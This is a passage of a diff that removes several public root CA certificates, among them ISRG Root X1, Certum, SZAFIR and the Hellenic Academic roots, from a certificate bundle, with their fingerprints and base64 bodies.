-TIpTUnrD7i7es3ElweldPe6hL6P3KjzJIx1qqx2hp/Hz7KDVRM8Vz3IvHWOX6Jn5
-/ZOkVIBMUtRSqy5J35DNuF++P96hyk0g1CXohClTt7GIH//62pCfCqktQT+x8Rgp
-7hZZLDRJGqgG16iI0gNyejLi6mhNbiyWZXvKWfry4t3uMCz7zEasxGPrb382KzRz
-EpR/38wmnvFyXVBlWY9ps4deMm/DGIq1lY+wejfeWkU7xzbh72fROdOXW3NiGUgt
-hxwG+3SYIElz8AXSG7Ggo7cbcNOIabla1jj0Ytwli3i/+Oh+uFzJlU9fpy25IGvP
-a931DfSCt/SyZi4QKPaXWnuWFo8BGS1sbn85WAZkgwGDg8NNkt0yxoekN+kWzqot
-aK8KgWU6cMGbrU1tVMoqLUuFG7OA5nBFDWteNfB/O7ic5ARwiRIlk9oKmSJgamNg
-TnYGmE69g60dWIolhdLHZR4tjsbftsbhf4oEIRUpdPA+nJCdDC7xij5aqgwJHsfV
-PKPtl8MeNPo4+QgO48BdK4PRVmrJtqhUUy54Mmc9gn900PvhtgVguXDbjgv5E1hv
-cWAQUhC5wUEJ73IfZzF4/5YFjQIDAQABo2MwYTAfBgNVHSMEGDAWgBTj/i39KNAL
-tbq2osS/BqoFjJP7LzAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAd
-BgNVHQ4EFgQU4/4t/SjQC7W6tqLEvwaqBYyT+y8wDQYJKoZIhvcNAQELBQADggIB
-ACXGumvrh8vegjmWPfBEp2uEcwPenStPuiB/vHiyz5ewG5zz13ku9Ui20vsXiObT
-ej/tUxPQ4i9qecsAIyjmHjdXNYmEwnZPNDatZ8POQQaIxffu2Bq41gt/UP+TqhdL
-jOztUmCypAbqTuv0axn96/Ua4CUqmtzHQTb3yHQFhDmVOdYLO6Qn+gjYXB74BGBS
-ESgoA//vU2YApUo0FmZ8/Qmkrp5nGm9BC2sGE5uPhnEFtC+NiWYzKXZUmhH4J/qy
-P5Hgzg0b8zAarb8iXRvTvyUFTeGSGn+ZnzxEk8rUQElsgIfXBDrDMlI1Dlb4pd19
-xIsNER9Tyx6yF7Zod1rg1MvIB671Oi6ON7fQAUtDKXeMOZePglr4UeWJoBjnaH9d
-Ci77o0cOPaYjesYBx4/IXr9tgFa+iiS6M+qf4TIRnvHST4D2G0CvOJ4RUHlzEhLN
-5mydLIhyPDCBBpEi6lmt2hkuIsKNuYyH4Ga8cyNfIWRjgEj1oDwYPZTISEEdQLpe
-/v5WOaHIz16eGWRGENoXkbcFgKyLmZJ956LYBws2J+dIeWCKw9cTXPhyQN9Ky8+Z
-AAoACxGV2lZFA4gKn2fQ1XmxqI1AbQ3CekD6819kR5LLU7m7Wc5P/dAVUwHY3+vZ
-5nbv0CO7O6l5s9UCKc2Jo5YPSjXnTkLAdc0Hz+Ys63su
------END CERTIFICATE-----
-
-# Issuer: CN=OISTE WISeKey Global Root GB CA O=WISeKey OU=OISTE Foundation Endorsed
-# Subject: CN=OISTE WISeKey Global Root GB CA O=WISeKey OU=OISTE Foundation Endorsed
-# Label: "OISTE WISeKey Global Root GB CA"
-# Serial: 157768595616588414422159278966750757568
-# MD5 Fingerprint: a4:eb:b9:61:28:2e:b7:2f:98:b0:35:26:90:99:51:1d
-# SHA1 Fingerprint: 0f:f9:40:76:18:d3:d7:6a:4b:98:f0:a8:35:9e:0c:fd:27:ac:cc:ed
-# SHA256 Fingerprint: 6b:9c:08:e8:6e:b0:f7:67:cf:ad:65:cd:98:b6:21:49:e5:49:4a:67:f5:84:5e:7b:d1:ed:01:9f:27:b8:6b:d6
------BEGIN CERTIFICATE-----
-MIIDtTCCAp2gAwIBAgIQdrEgUnTwhYdGs/gjGvbCwDANBgkqhkiG9w0BAQsFADBt
-MQswCQYDVQQGEwJDSDEQMA4GA1UEChMHV0lTZUtleTEiMCAGA1UECxMZT0lTVEUg
-Rm91bmRhdGlvbiBFbmRvcnNlZDEoMCYGA1UEAxMfT0lTVEUgV0lTZUtleSBHbG9i
-YWwgUm9vdCBHQiBDQTAeFw0xNDEyMDExNTAwMzJaFw0zOTEyMDExNTEwMzFaMG0x
-CzAJBgNVBAYTAkNIMRAwDgYDVQQKEwdXSVNlS2V5MSIwIAYDVQQLExlPSVNURSBG
-b3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5IEdsb2Jh
-bCBSb290IEdCIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2Be3
-HEokKtaXscriHvt9OO+Y9bI5mE4nuBFde9IllIiCFSZqGzG7qFshISvYD06fWvGx
-WuR51jIjK+FTzJlFXHtPrby/h0oLS5daqPZI7H17Dc0hBt+eFf1Biki3IPShehtX
-1F1Q/7pn2COZH8g/497/b1t3sWtuuMlk9+HKQUYOKXHQuSP8yYFfTvdv37+ErXNk
-u7dCjmn21HYdfp2nuFeKUWdy19SouJVUQHMD9ur06/4oQnc/nSMbsrY9gBQHTC5P
-99UKFg29ZkM3fiNDecNAhvVMKdqOmq0NpQSHiB6F4+lT1ZvIiwNjeOvgGUpuuy9r
-M2RYk61pv48b74JIxwIDAQABo1EwTzALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/BAUw
-AwEB/zAdBgNVHQ4EFgQUNQ/INmNe4qPs+TtmFc5RUuORmj0wEAYJKwYBBAGCNxUB
-BAMCAQAwDQYJKoZIhvcNAQELBQADggEBAEBM+4eymYGQfp3FsLAmzYh7KzKNbrgh
-cViXfa43FK8+5/ea4n32cZiZBKpDdHij40lhPnOMTZTg+XHEthYOU3gf1qKHLwI5
-gSk8rxWYITD+KJAAjNHhy/peyP34EEY7onhCkRd0VQreUGdNZtGn//3ZwLWoo4rO
-ZvUPQ82nK1d7Y0Zqqi5S2PTt4W2tKZB4SLrhI6qjiey1q5bAtEuiHZeeevJuQHHf
-aPFlTc58Bd9TZaml8LGXBHAVRgOY1NK/VLSgWH1Sb9pWJmLU2NuJMW8c8CLC02Ic
-Nc1MaRVUGpCY3useX8p3x8uOPUNpnJpY0CQ73xtAln41rYHHTnG6iBM=
------END CERTIFICATE-----
-
-# Issuer: CN=SZAFIR ROOT CA2 O=Krajowa Izba Rozliczeniowa S.A.
-# Subject: CN=SZAFIR ROOT CA2 O=Krajowa Izba Rozliczeniowa S.A.
-# Label: "SZAFIR ROOT CA2"
-# Serial: 357043034767186914217277344587386743377558296292
-# MD5 Fingerprint: 11:64:c1:89:b0:24:b1:8c:b1:07:7e:89:9e:51:9e:99
-# SHA1 Fingerprint: e2:52:fa:95:3f:ed:db:24:60:bd:6e:28:f3:9c:cc:cf:5e:b3:3f:de
-# SHA256 Fingerprint: a1:33:9d:33:28:1a:0b:56:e5:57:d3:d3:2b:1c:e7:f9:36:7e:b0:94:bd:5f:a7:2a:7e:50:04:c8:de:d7:ca:fe
------BEGIN CERTIFICATE-----
-MIIDcjCCAlqgAwIBAgIUPopdB+xV0jLVt+O2XwHrLdzk1uQwDQYJKoZIhvcNAQEL
-BQAwUTELMAkGA1UEBhMCUEwxKDAmBgNVBAoMH0tyYWpvd2EgSXpiYSBSb3psaWN6
-ZW5pb3dhIFMuQS4xGDAWBgNVBAMMD1NaQUZJUiBST09UIENBMjAeFw0xNTEwMTkw
-NzQzMzBaFw0zNTEwMTkwNzQzMzBaMFExCzAJBgNVBAYTAlBMMSgwJgYDVQQKDB9L
-cmFqb3dhIEl6YmEgUm96bGljemVuaW93YSBTLkEuMRgwFgYDVQQDDA9TWkFGSVIg
-Uk9PVCBDQTIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3vD5QqEvN
-QLXOYeeWyrSh2gwisPq1e3YAd4wLz32ohswmUeQgPYUM1ljj5/QqGJ3a0a4m7utT
-3PSQ1hNKDJA8w/Ta0o4NkjrcsbH/ON7Dui1fgLkCvUqdGw+0w8LBZwPd3BucPbOw
-3gAeqDRHu5rr/gsUvTaE2g0gv/pby6kWIK05YO4vdbbnl5z5Pv1+TW9NL++IDWr6
-3fE9biCloBK0TXC5ztdyO4mTp4CEHCdJckm1/zuVnsHMyAHs6A6KCpbns6aH5db5
-BSsNl0BwPLqsdVqc1U2dAgrSS5tmS0YHF2Wtn2yIANwiieDhZNRnvDF5YTy7ykHN
-XGoAyDw4jlivAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQD
-AgEGMB0GA1UdDgQWBBQuFqlKGLXLzPVvUPMjX/hd56zwyDANBgkqhkiG9w0BAQsF
-AAOCAQEAtXP4A9xZWx126aMqe5Aosk3AM0+qmrHUuOQn/6mWmc5G4G18TKI4pAZw
-8PRBEew/R40/cof5O/2kbytTAOD/OblqBw7rHRz2onKQy4I9EYKL0rufKq8h5mOG
-nXkZ7/e7DDWQw4rtTw/1zBLZpD67oPwglV9PJi8RI4NOdQcPv5vRtB3pEAT+ymCP
-oky4rc/hkA/NrgrHXXu3UNLUYfrVFdvXn4dRVOul4+vJhaAlIDf7js4MNIThPIGy
-d05DpYhfhmehPea0XGG2Ptv+tyjFogeutcrKjSoS75ftwjCkySp6+/NNIxuZMzSg
-LvWpCz/UXeHPhJ/iGcJfitYgHuNztw==
------END CERTIFICATE-----
-
-# Issuer: CN=Certum Trusted Network CA 2 O=Unizeto Technologies S.A. OU=Certum Certification Authority
-# Subject: CN=Certum Trusted Network CA 2 O=Unizeto Technologies S.A. OU=Certum Certification Authority
-# Label: "Certum Trusted Network CA 2"
-# Serial: 44979900017204383099463764357512596969
-# MD5 Fingerprint: 6d:46:9e:d9:25:6d:08:23:5b:5e:74:7d:1e:27:db:f2
-# SHA1 Fingerprint: d3:dd:48:3e:2b:bf:4c:05:e8:af:10:f5:fa:76:26:cf:d3:dc:30:92
-# SHA256 Fingerprint: b6:76:f2:ed:da:e8:77:5c:d3:6c:b0:f6:3c:d1:d4:60:39:61:f4:9e:62:65:ba:01:3a:2f:03:07:b6:d0:b8:04
------BEGIN CERTIFICATE-----
-MIIF0jCCA7qgAwIBAgIQIdbQSk8lD8kyN/yqXhKN6TANBgkqhkiG9w0BAQ0FADCB
-gDELMAkGA1UEBhMCUEwxIjAgBgNVBAoTGVVuaXpldG8gVGVjaG5vbG9naWVzIFMu
-QS4xJzAlBgNVBAsTHkNlcnR1bSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEkMCIG
-A1UEAxMbQ2VydHVtIFRydXN0ZWQgTmV0d29yayBDQSAyMCIYDzIwMTExMDA2MDgz
-OTU2WhgPMjA0NjEwMDYwODM5NTZaMIGAMQswCQYDVQQGEwJQTDEiMCAGA1UEChMZ
-VW5pemV0byBUZWNobm9sb2dpZXMgUy5BLjEnMCUGA1UECxMeQ2VydHVtIENlcnRp
-ZmljYXRpb24gQXV0aG9yaXR5MSQwIgYDVQQDExtDZXJ0dW0gVHJ1c3RlZCBOZXR3
-b3JrIENBIDIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC9+Xj45tWA
-DGSdhhuWZGc/IjoedQF97/tcZ4zJzFxrqZHmuULlIEub2pt7uZld2ZuAS9eEQCsn
-0+i6MLs+CRqnSZXvK0AkwpfHp+6bJe+oCgCXhVqqndwpyeI1B+twTUrWwbNWuKFB
-OJvR+zF/j+Bf4bE/D44WSWDXBo0Y+aomEKsq09DRZ40bRr5HMNUuctHFY9rnY3lE
-fktjJImGLjQ/KUxSiyqnwOKRKIm5wFv5HdnnJ63/mgKXwcZQkpsCLL2puTRZCr+E
-Sv/f/rOf69me4Jgj7KZrdxYq28ytOxykh9xGc14ZYmhFV+SQgkK7QtbwYeDBoz1m
-o130GO6IyY0XRSmZMnUCMe4pJshrAua1YkV/NxVaI2iJ1D7eTiew8EAMvE0Xy02i
-sx7QBlrd9pPPV3WZ9fqGGmd4s7+W/jTcvedSVuWz5XV710GRBdxdaeOVDUO5/IOW
-OZV7bIBaTxNyxtd9KXpEulKkKtVBRgkg/iKgtlswjbyJDNXXcPiHUv3a76xRLgez
-Tv7QCdpw75j6VuZt27VXS9zlLCUVyJ4ueE742pyehizKV/Ma5ciSixqClnrDvFAS
-adgOWkaLOusm+iPJtrCBvkIApPjW/jAux9JG9uWOdf3yzLnQh1vMBhBgu4M1t15n
-3kfsmUjxpKEV/q2MYo45VU85FrmxY53/twIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
-AQH/MB0GA1UdDgQWBBS2oVQ5AsOgP46KvPrU+Bym0ToO/TAOBgNVHQ8BAf8EBAMC
-AQYwDQYJKoZIhvcNAQENBQADggIBAHGlDs7k6b8/ONWJWsQCYftMxRQXLYtPU2sQ
-F/xlhMcQSZDe28cmk4gmb3DWAl45oPePq5a1pRNcgRRtDoGCERuKTsZPpd1iHkTf
-CVn0W3cLN+mLIMb4Ck4uWBzrM9DPhmDJ2vuAL55MYIR4PSFk1vtBHxgP58l1cb29
-XN40hz5BsA72udY/CROWFC/emh1auVbONTqwX3BNXuMp8SMoclm2q8KMZiYcdywm
-djWLKKdpoPk79SPdhRB0yZADVpHnr7pH1BKXESLjokmUbOe3lEu6LaTaM4tMpkT/
-WjzGHWTYtTHkpjx6qFcL2+1hGsvxznN3Y6SHb0xRONbkX8eftoEq5IVIeVheO/jb
-AoJnwTnbw3RLPTYe+SmTiGhbqEQZIfCn6IENLOiTNrQ3ssqwGyZ6miUfmpqAnksq
-P/ujmv5zMnHCnsZy4YpoJ/HkD7TETKVhk/iXEAcqMCWpuchxuO9ozC1+9eB+D4Ko
-b7a6bINDd82Kkhehnlt4Fj1F4jNy3eFmypnTycUm/Q1oBEauttmbjL4ZvrHG8hnj
-XALKLNhvSgfZyTXaQHXyxKcZb55CEJh15pWLYLztxRLXis7VmFxWlgPF7ncGNf/P
-5O4/E2Hu29othfDNrp2yGAlFw5Khchf8R7agCyzxxN5DaAhqXzvwdmP7zAYspsbi
-DrW5viSP
------END CERTIFICATE-----
-
-# Issuer: CN=Hellenic Academic and Research Institutions RootCA 2015 O=Hellenic Academic and Research Institutions Cert. Authority
-# Subject: CN=Hellenic Academic and Research Institutions RootCA 2015 O=Hellenic Academic and Research Institutions Cert. Authority
-# Label: "Hellenic Academic and Research Institutions RootCA 2015"
-# Serial: 0
-# MD5 Fingerprint: ca:ff:e2:db:03:d9:cb:4b:e9:0f:ad:84:fd:7b:18:ce
-# SHA1 Fingerprint: 01:0c:06:95:a6:98:19:14:ff:bf:5f:c6:b0:b6:95:ea:29:e9:12:a6
-# SHA256 Fingerprint: a0:40:92:9a:02:ce:53:b4:ac:f4:f2:ff:c6:98:1c:e4:49:6f:75:5e:6d:45:fe:0b:2a:69:2b:cd:52:52:3f:36
------BEGIN CERTIFICATE-----
-MIIGCzCCA/OgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBpjELMAkGA1UEBhMCR1Ix
-DzANBgNVBAcTBkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNhZGVtaWMgYW5k
-IFJlc2VhcmNoIEluc3RpdHV0aW9ucyBDZXJ0LiBBdXRob3JpdHkxQDA+BgNVBAMT
-N0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgUm9v
-dENBIDIwMTUwHhcNMTUwNzA3MTAxMTIxWhcNNDAwNjMwMTAxMTIxWjCBpjELMAkG
-A1UEBhMCR1IxDzANBgNVBAcTBkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNh
-ZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9ucyBDZXJ0LiBBdXRob3JpdHkx
-QDA+BgNVBAMTN0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1
-dGlvbnMgUm9vdENBIDIwMTUwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoIC
-AQDC+Kk/G4n8PDwEXT2QNrCROnk8ZlrvbTkBSRq0t89/TSNTt5AA4xMqKKYx8ZEA
-4yjsriFBzh/a/X0SWwGDD7mwX5nh8hKDgE0GPt+sr+ehiGsxr/CL0BgzuNtFajT0
-AoAkKAoCFZVedioNmToUW/bLy1O8E00BiDeUJRtCvCLYjqOWXjrZMts+6PAQZe10
-4S+nfK8nNLspfZu2zwnI5dMK/IhlZXQK3HMcXM1AsRzUtoSMTFDPaI6oWa7CJ06C
-ojXdFPQf/7J31Ycvqm59JCfnxssm5uX+Zwdj2EUN3TpZZTlYepKZcj2chF6IIbjV
-9Cz82XBST3i4vTwri5WY9bPRaM8gFH5MXF/ni+X1NYEZN9cRCLdmvtNKzoNXADrD
-gfgXy5I2XdGj2HUb4Ysn6npIQf1FGQatJ5lOwXBH3bWfgVMS5bGMSF0xQxfjjMZ6
-Y5ZLKTBOhE5iGV48zpeQpX8B653g+IuJ3SWYPZK2fu/Z8VFRfS0myGlZYeCsargq
-NhEEelC9MoS+L9xy1dcdFkfkR2YgP/SWxa+OAXqlD3pk9Q0Yh9muiNX6hME6wGko
-LfINaFGq46V3xqSQDqE3izEjR8EJCOtu93ib14L8hCCZSRm2Ekax+0VVFqmjZayc
-Bw/qa9wfLgZy7IaIEuQt218FL+TwA9MmM+eAws1CoRc0CwIDAQABo0IwQDAPBgNV
-HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUcRVnyMjJvXVd
-ctA4GGqd83EkVAswDQYJKoZIhvcNAQELBQADggIBAHW7bVRLqhBYRjTyYtcWNl0I
-XtVsyIe9tC5G8jH4fOpCtZMWVdyhDBKg2mF+D1hYc2Ryx+hFjtyp8iY/xnmMsVMI
-M4GwVhO+5lFc2JsKT0ucVlMC6U/2DWDqTUJV6HwbISHTGzrMd/K4kPFox/la/vot
-9L/J9UUbzjgQKjeKeaO04wlshYaT/4mWJ3iBj2fjRnRUjtkNaeJK9E10A/+yd+2V
-Z5fkscWrv2oj6NSU4kQoYsRL4vDY4ilrGnB+JGGTe08DMiUNRSQrlrRGar9KC/ea
-j8GsGsVn82800vpzY4zvFrCopEYq+OsS7HK07/grfoxSwIuEVPkvPuNVqNxmsdnh
-X9izjFk0WaSrT2y7HxjbdavYy5LNlDhhDgcGH0tGEPEVvo2FXDtKK4F5D7Rpn0lQ
-l033DlZdwJVqwjbDG2jJ9SrcR5q+ss7FJej6A7na+RZukYT1HCjI/CbM1xyQVqdf
-bzoEvM14iQuODy+jqk+iGxI9FghAD/FGTNeqewjBCvVtJ94Cj8rDtSvK6evIIVM4
-pcw72Hc3MKJP2W/R8kCtQXoXxdZKNYm3QdV8hn9VTYNKpXMgwDqvkPGaJI7ZjnHK
-e7iG2rKPmT4dEw0SEe7Uq/DpFXYC5ODfqiAeW2GFZECpkJcNrVPSWh2HagCXZWK0
-vm9qp/UsQu0yrbYhnr68
------END CERTIFICATE-----
-
-# Issuer: CN=Hellenic Academic and Research Institutions ECC RootCA 2015 O=Hellenic Academic and Research Institutions Cert. Authority
-# Subject: CN=Hellenic Academic and Research Institutions ECC RootCA 2015 O=Hellenic Academic and Research Institutions Cert. Authority
-# Label: "Hellenic Academic and Research Institutions ECC RootCA 2015"
-# Serial: 0
-# MD5 Fingerprint: 81:e5:b4:17:eb:c2:f5:e1:4b:0d:41:7b:49:92:fe:ef
-# SHA1 Fingerprint: 9f:f1:71:8d:92:d5:9a:f3:7d:74:97:b4:bc:6f:84:68:0b:ba:b6:66
-# SHA256 Fingerprint: 44:b5:45:aa:8a:25:e6:5a:73:ca:15:dc:27:fc:36:d2:4c:1c:b9:95:3a:06:65:39:b1:15:82:dc:48:7b:48:33
------BEGIN CERTIFICATE-----
-MIICwzCCAkqgAwIBAgIBADAKBggqhkjOPQQDAjCBqjELMAkGA1UEBhMCR1IxDzAN
-BgNVBAcTBkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJl
-c2VhcmNoIEluc3RpdHV0aW9ucyBDZXJ0LiBBdXRob3JpdHkxRDBCBgNVBAMTO0hl
-bGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgRUNDIFJv
-b3RDQSAyMDE1MB4XDTE1MDcwNzEwMzcxMloXDTQwMDYzMDEwMzcxMlowgaoxCzAJ
-BgNVBAYTAkdSMQ8wDQYDVQQHEwZBdGhlbnMxRDBCBgNVBAoTO0hlbGxlbmljIEFj
-YWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ2VydC4gQXV0aG9yaXR5
-MUQwQgYDVQQDEztIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0
-dXRpb25zIEVDQyBSb290Q0EgMjAxNTB2MBAGByqGSM49AgEGBSuBBAAiA2IABJKg
-QehLgoRc4vgxEZmGZE4JJS+dQS8KrjVPdJWyUWRrjWvmP3CV8AVER6ZyOFB2lQJa
-jq4onvktTpnvLEhvTCUp6NFxW98dwXU3tNf6e3pCnGoKVlp8aQuqgAkkbH7BRqNC
-MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFLQi
-C4KZJAEOnLvkDv2/+5cgk5kqMAoGCCqGSM49BAMCA2cAMGQCMGfOFmI4oqxiRaep
-lSTAGiecMjvAwNW6qef4BENThe5SId6d9SWDPp5YSy/XZxMOIQIwBeF1Ad5o7Sof
-TUwJCA3sS61kFyjndc5FZXIhF8siQQ6ME5g4mlRtm8rifOoCWCKR
------END CERTIFICATE-----
-
-# Issuer: CN=ISRG Root X1 O=Internet Security Research Group
-# Subject: CN=ISRG Root X1 O=Internet Security Research Group
-# Label: "ISRG Root X1"
-# Serial: 172886928669790476064670243504169061120
-# MD5 Fingerprint: 0c:d2:f9:e0:da:17:73:e9:ed:86:4d:a5:e3:70:e7:4e
-# SHA1 Fingerprint: ca:bd:2a:79:a1:07:6a:31:f2:1d:25:36:35:cb:03:9d:43:29:a5:e8
-# SHA256 Fingerprint: 96:bc:ec:06:26:49:76:f3:74:60:77:9a:cf:28:c5:a7:cf:e8:a3:c0:aa:e1:1a:8f:fc:ee:05:c0:bd:df:08:c6
------BEGIN CERTIFICATE-----
-MIIFazCCA1OgAwIBAgIRAIIQz7DSQONZRGPgu2OCiwAwDQYJKoZIhvcNAQELBQAw
-TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
-cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMTUwNjA0MTEwNDM4
-WhcNMzUwNjA0MTEwNDM4WjBPMQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJu
-ZXQgU2VjdXJpdHkgUmVzZWFyY2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBY
-MTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAK3oJHP0FDfzm54rVygc
-h77ct984kIxuPOZXoHj3dcKi/vVqbvYATyjb3miGbESTtrFj/RQSa78f0uoxmyF+
-0TM8ukj13Xnfs7j/EvEhmkvBioZxaUpmZmyPfjxwv60pIgbz5MDmgK7iS4+3mX6U
-A5/TR5d8mUgjU+g4rk8Kb4Mu0UlXjIB0ttov0DiNewNwIRt18jA8+o+u3dpjq+sW
-T8KOEUt+zwvo/7V3LvSye0rgTBIlDHCNAymg4VMk7BPZ7hm/ELNKjD+Jo2FR3qyH
-B5T0Y3HsLuJvW5iB4YlcNHlsdu87kGJ55tukmi8mxdAQ4Q7e2RCOFvu396j3x+UC
-B5iPNgiV5+I3lg02dZ77DnKxHZu8A/lJBdiB3QW0KtZB6awBdpUKD9jf1b0SHzUv
-KBds0pjBqAlkd25HN7rOrFleaJ1/ctaJxQZBKT5ZPt0m9STJEadao0xAH0ahmbWn
-OlFuhjuefXKnEgV4We0+UXgVCwOPjdAvBbI+e0ocS3MFEvzG6uBQE3xDk3SzynTn
-jh8BCNAw1FtxNrQHusEwMFxIt4I7mKZ9YIqioymCzLq9gwQbooMDQaHWBfEbwrbw
-qHyGO0aoSCqI3Haadr8faqU9GY/rOPNk3sgrDQoo//fb4hVC1CLQJ13hef4Y53CI
-rU7m2Ys6xt0nUW7/vGT1M0NPAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNV
-HRMBAf8EBTADAQH/MB0GA1UdDgQWBBR5tFnme7bl5AFzgAiIyBpY9umbbjANBgkq
-hkiG9w0BAQsFAAOCAgEAVR9YqbyyqFDQDLHYGmkgJykIrGF1XIpu+ILlaS/V9lZL
-ubhzEFnTIZd+50xx+7LSYK05qAvqFyFWhfFQDlnrzuBZ6brJFe+GnY+EgPbk6ZGQ
-3BebYhtF8GaV0nxvwuo77x/Py9auJ/GpsMiu/X1+mvoiBOv/2X/qkSsisRcOj/KK
-NFtY2PwByVS5uCbMiogziUwthDyC3+6WVwW6LLv3xLfHTjuCvjHIInNzktHCgKQ5
-ORAzI4JMPJ+GslWYHb4phowim57iaztXOoJwTdwJx4nLCgdNbOhdjsnvzqvHu7Ur
-TkXWStAmzOVyyghqpZXjFaH3pO3JLF+l+/+sKAIuvtd7u+Nxe5AW0wdeRlN8NwdC
-jNPElpzVmbUq4JUagEiuTDkHzsxHpFKVK7q4+63SM1N95R1NbdWhscdCb+ZAJzVc
-oyi3B43njTOQ5yOf+1CceWxG1bQVs5ZufpsMljq4Ui0/1lvh+wjChP4kqKOJ2qxq
-4RgqsahDYVvTH9w7jXbyLeiNdd8XM2w9U/t7y0Ff/9yi0GE44Za4rF2LN9d11TPA
-mRGunUHBcnWEvgJBQl9nJEiU0Zsnvgc/ubhPgXRR4Xq37Z0j4r7g1SgEEzwxA57d
-emyPxgcYxn/eR44/KJ4EBs+lVDR3veyJm+kXQ99b21/+jh5Xos1AnX5iItreGCc=
------END CERTIFICATE-----
-
-# Issuer: O=FNMT-RCM OU=AC RAIZ FNMT-RCM
-# Subject: O=FNMT-RCM OU=AC RAIZ FNMT-RCM
-# Label: "AC RAIZ FNMT-RCM"
-# Serial: 485876308206448804701554682760554759
-# MD5 Fingerprint: e2:09:04:b4:d3:bd:d1:a0:14:fd:1a:d2:47:c4:57:1d
-# SHA1 Fingerprint: ec:50:35:07:b2:15:c4:95:62:19:e2:a8:9a:5b:42:99:2c:4c:2c:20
-# SHA256 Fingerprint: eb:c5:57:0c:29:01:8c:4d:67:b1:aa:12:7b:af:12:f7:03:b4:61:1e:bc:17:b7:da:b5:57:38:94:17:9b:93:fa
------BEGIN CERTIFICATE-----
-MIIFgzCCA2ugAwIBAgIPXZONMGc2yAYdGsdUhGkHMA0GCSqGSIb3DQEBCwUAMDsx
-CzAJBgNVBAYTAkVTMREwDwYDVQQKDAhGTk1ULVJDTTEZMBcGA1UECwwQQUMgUkFJ
-WiBGTk1ULVJDTTAeFw0wODEwMjkxNTU5NTZaFw0zMDAxMDEwMDAwMDBaMDsxCzAJ
-BgNVBAYTAkVTMREwDwYDVQQKDAhGTk1ULVJDTTEZMBcGA1UECwwQQUMgUkFJWiBG
-Tk1ULVJDTTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBALpxgHpMhm5/
-yBNtwMZ9HACXjywMI7sQmkCpGreHiPibVmr75nuOi5KOpyVdWRHbNi63URcfqQgf
-BBckWKo3Shjf5TnUV/3XwSyRAZHiItQDwFj8d0fsjz50Q7qsNI1NOHZnjrDIbzAz
-WHFctPVrbtQBULgTfmxKo0nRIBnuvMApGGWn3v7v3QqQIecaZ5JCEJhfTzC8PhxF
-tBDXaEAUwED653cXeuYLj2VbPNmaUtu1vZ5Gzz3rkQUCwJaydkxNEJY7kvqcfw+Z
-374jNUUeAlz+taibmSXaXvMiwzn15Cou08YfxGyqxRxqAQVKL9LFwag0Jl1mpdIC
-IfkYtwb1TplvqKtMUejPUBjFd8g5CSxJkjKZqLsXF3mwWsXmo8RZZUc1g16p6DUL
-mbvkzSDGm0oGObVo/CK67lWMK07q87Hj/LaZmtVC+nFNCM+HHmpxffnTtOmlcYF7
-wk5HlqX2doWjKI/pgG6BU6VtX7hI+cL5NqYuSf+4lsKMB7ObiFj86xsc3i1w4peS
-MKGJ47xVqCfWS+2QrYv6YyVZLag13cqXM7zlzced0ezvXg5KkAYmY6252TUtB7p2
-ZSysV4999AeU14ECll2jB0nVetBX+RvnU0Z1qrB5QstocQjpYL05ac70r8NWQMet
-UqIJ5G+GR4of6ygnXYMgrwTJbFaai0b1AgMBAAGjgYMwgYAwDwYDVR0TAQH/BAUw
-AwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFPd9xf3E6Jobd2Sn9R2gzL+H
-YJptMD4GA1UdIAQ3MDUwMwYEVR0gADArMCkGCCsGAQUFBwIBFh1odHRwOi8vd3d3
-LmNlcnQuZm5tdC5lcy9kcGNzLzANBgkqhkiG9w0BAQsFAAOCAgEAB5BK3/MjTvDD
-nFFlm5wioooMhfNzKWtN/gHiqQxjAb8EZ6WdmF/9ARP67Jpi6Yb+tmLSbkyU+8B1
-RXxlDPiyN8+sD8+Nb/kZ94/sHvJwnvDKuO+3/3Y3dlv2bojzr2IyIpMNOmqOFGYM
-LVN0V2Ue1bLdI4E7pWYjJ2cJj+F3qkPNZVEI7VFY/uY5+ctHhKQV8Xa7pO6kO8Rf
-77IzlhEYt8llvhjho6Tc+hj507wTmzl6NLrTQfv6MooqtyuGC2mDOL7Nii4LcK2N
-JpLuHvUBKwrZ1pebbuCoGRw6IYsMHkCtA+fdZn71uSANA+iW+YJF1DngoABd15jm
-fZ5nc8OaKveri6E6FO80vFIOiZiaBECEHX5FaZNXzuvO+FB8TxxuBEOb+dY7Ixjp
